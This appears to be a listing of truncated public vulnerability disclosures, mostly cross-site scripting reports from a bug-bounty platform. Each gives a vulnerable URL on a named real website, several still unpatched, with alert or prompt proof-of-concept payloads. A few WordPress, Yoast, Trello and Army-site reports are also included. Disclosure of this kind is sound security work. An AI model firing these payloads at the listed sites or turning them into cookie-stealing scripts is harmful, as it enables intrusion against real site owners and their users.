OLX: Multiple vulnerabilities in http://blog.dubizzle.com/uae

http://blog.dubizzle.com/uae/ uses outdated Yoast Seo plugin which has following vulnerabilities: ! Title: Yoast SEO = 3.2.4 - Subscriber Settings Sensitive Data Exposure Reference: https://wpvulndb.com/vulnerabilities/8487 ! Title: Yoast SEO = 3.2.5 - Unspecified Cross-Site Scripting XSS...

brecorder.com XSS vulnerability

Vulnerable URL: http://www.brecorder.com/pages/budget/?bid="";alert'OPENBUGBOUNTY';// Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 41995 VIP website status:| Yes Check brecorder.com SSL connection:| Grade: F...

smashbox.com XSS vulnerability

Vulnerable URL: https://www.smashbox.com/account/signin.tmpl?SUBMIT="%3E%3Csvg onload = promptOPENBUGBOUNTY%0A \ Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 92904 VIP website status:| No Check smashbox.com SS...

peguerin.com XSS vulnerability

Vulnerable URL: http://www.peguerin.com/searchresults.php?q=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2511052 VIP website status:| No Check peguerin.com SSL connection:|...

cherrycityderbygirls.com XSS vulnerability

Vulnerable URL: http://www.cherrycityderbygirls.com/team.php?id=doa%22%3E%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 13:06 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

pulsenews.co.kr XSS vulnerability

Vulnerable URL: http://pulsenews.co.kr/list.php?sc=30800025%22%3E%3Csvg/onload=alert%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 280470 VIP website...

loc.openlinksw.com XSS vulnerability

Vulnerable URL: http://loc.openlinksw.com/HtmlPivotViewer/?url=https://www.openlinksw.com/ ","",ViewerState: "";;...

dbpedia.org XSS vulnerability

Vulnerable URL: http://dbpedia.org/HtmlPivotViewer/?url=http://dbpedia.org/ ","",ViewerState: "";;...

thepiratebay.org XSS vulnerability

Vulnerable URL: https://thepiratebay.org/ads/middle/index.php?r=24=bar=Countrywise.S07E04.XviD-AFG=michal:" XSS by xany Details: Description| Value ---|--- Patched:| Yes, at 25.10.2017 Latest check for patch:| 25.10.2017 14:30 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

destructoid.com XSS vulnerability

Vulnerable URL: https://www.destructoid.com/products-index.phtml?filt=reviews"...

U.S. Dept Of Defense: XSS vulnerability on an Army website

A U.S. Army website was vulnerable to a cross-site scripting attack which may be used to trick a web user into executing a malicious script, potentially revealing a user's browser cookies or modify web content. spam404 was able to demonstrate this vulnerability by crafting a specially formatted...

WordPress: Wordpress 4.7 - CSRF -> HTTP SSRF any private ip:port and basic-auth

Description This report is a variant on report 110801 but with broader vector. 110801 was a XSRF SSRF that allowd unintended GET requests to 0.0.0.0 on port 80, 443 and 8080. This vulnerability uses same entry vector of the press this scrape function but entirely bypasses the ip and port filter...

motorosakcio.hu XSS vulnerability

Vulnerable URL: http://www.motorosakcio.hu/?autocomplete=1="="=1=hu=rv=3924=1=mit=538 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2836896 VIP website status:| No Check...

expressclassifiedstt.com XSS vulnerability

Vulnerable URL: http://www.expressclassifiedstt.com/index.php?searchfor=%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%27%3E%3Csvg%2Fonload%3Dalert%28%2FOPENBUGBOUNTY%2F%29%3E=Search Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability...

Trello: SVG Uploads / Attachments can be viewed by anyone that knows the URL

1 Login 2 Create a new private board 3 Upload the SVG file attached 4 Grab the file URL 5 Open a new incognito window and navigate to the URL. Note that you were able to access the SVG file as well as that the script payload executed...

spys.ru XSS vulnerability

Vulnerable URL: http://spys.ru/digdns/ Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 09:21 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 63148 VIP website status:| No Check spys.ru SSL connection:| Grade: ...

2whois.ru XSS vulnerability

Vulnerable URL: http://2whois.ru/?t=dig=openscript.meerkctf.ru=type=txt Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 09:21 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 556089 VIP website status:| No Chec...

apartmentguide.com XSS vulnerability

Vulnerable URL: http://www.apartmentguide.com/apartments/Oklahoma/Tulsa/Wellsford-Oaks/1588/?xany'rekt Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 8942 VIP website status:| Yes...

kennethautreyministries.org XSS vulnerability

Vulnerable URL: http://kennethautreyministries.org/search.php?pageID=search=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

sextanteeditora.pt XSS vulnerability

Vulnerable URL: http://www.sextanteeditora.pt/livros?palavra=" Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 13:04 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 7819201 VIP website status:| No Coordinated...